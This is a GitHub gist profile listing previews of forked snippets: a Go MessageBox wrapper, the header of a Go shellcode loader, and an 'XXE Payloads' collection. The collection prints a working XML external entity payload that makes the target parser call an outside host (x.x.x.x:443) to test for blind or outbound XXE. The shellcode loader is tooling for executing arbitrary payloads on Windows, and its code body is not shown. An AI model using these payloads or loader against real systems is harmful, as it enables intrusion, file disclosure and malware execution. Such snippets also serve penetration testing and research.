Skip to content

Instantly share code, notes, and snippets.

View deadjakk's full-sized avatar

deadjakk

View GitHub Profile
@deadjakk
deadjakk / messagebox.go
Created January 12, 2021 20:41 — forked from NaniteFactory/messagebox.go
Win32 API MessageBox() in Golang
import (
"syscall"
"unsafe"
)
// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
@deadjakk
deadjakk / shellcodeLoader.go
Created January 12, 2021 20:46 — forked from mgeeky/shellcodeLoader.go
Simple Shellcode loader implemented in Golang
//
// Simple Shellcode loader implemented in Golang.
//
// Compilation:
// $ go build -o foo.exe shellcodeLoader.go
//
// Mariusz B. / mgeeky (@mariuszbit), '20
// <[email protected]>
//
@deadjakk
deadjakk / XXE_payloads
Last active May 24, 2021 02:17 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>